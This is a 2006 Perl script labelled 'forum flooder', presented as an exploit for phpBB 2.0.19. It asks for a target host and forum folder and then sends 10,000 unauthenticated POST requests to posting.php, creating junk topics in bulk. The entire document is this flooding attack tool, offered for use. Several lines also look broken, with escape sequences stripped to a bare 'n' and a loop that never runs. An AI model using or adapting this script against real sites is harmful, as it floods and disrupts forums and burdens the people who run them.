forum flooder

#!/usr/bin/perl

print q{
_________________________________________________________________________
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>|

           /      
            ,,  /  /
         '-.`()/`.-'
        .--_'(  )'_--.
       / /` /`""` `            * SpiderZ ForumZ Security *
        |  |  ><  |  |
                /  /
            '.__.'       


=> Exploit phpBB 2.0.19 ( by SpiderZ )
=> Topic infinitely exploit
=> Sito: www.spiderz.tk

_________________________________________________________________________
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>|

};

use IO::Socket;


$x = 0;

print q(
Exploit phpBB 2.0.19 ( by SpiderZ )

);
print q(
=> You write the URL of the situated one without to add http & www
=> Url: );
$host = <STDIN>;
chop ($host);

print q(
=> Now it indicates in which folder and place the phpbb
=>  /phpBB2/ o /forum/
=> Folder: );
$pth = <STDIN>;
chop ($pth);

print q(
=> it uses a proxy before carrying out the attack
=> In order to start the exploit you write  " hacking "
=> );
$type = <STDIN>;
chop ($type);


if($type == 1){


while($x != 0000)
{


$x++;
}


}
elsif ($type == hacking){


while($x != 10000)
{

$postit = "post=Hacking$x+&username=Exploit&subject=Exploit_phpbb_2.0.19&message=Topic infinitely exploit phpBB 2.0.19";


$lrg = length $postit;


my $sock = new IO::Socket::INET (
                                 PeerAddr => "$host",
                                 PeerPort => "80",
                                 Proto => "tcp",
                                );
die "nConnessione non riuscita: $!n" unless $sock;


print $sock "POST $pth"."posting.php?mode=newtopic&f=1 HTTP/1.1n";
print $sock "Host: $hostn";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5n";
print $sock "Referer: $hostn";
print $sock "Accept-Language: en-usn";
print $sock "Content-Type: application/x-www-form-urlencodedn";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4n";
print $sock "Content-Length: $lrgnn";
print $sock "$postitn";
close($sock);


syswrite STDOUT, ".";


$x++;
}
}else{


   die "
Error ! riprova...
n";
}

# www.spiderz.tk [2006]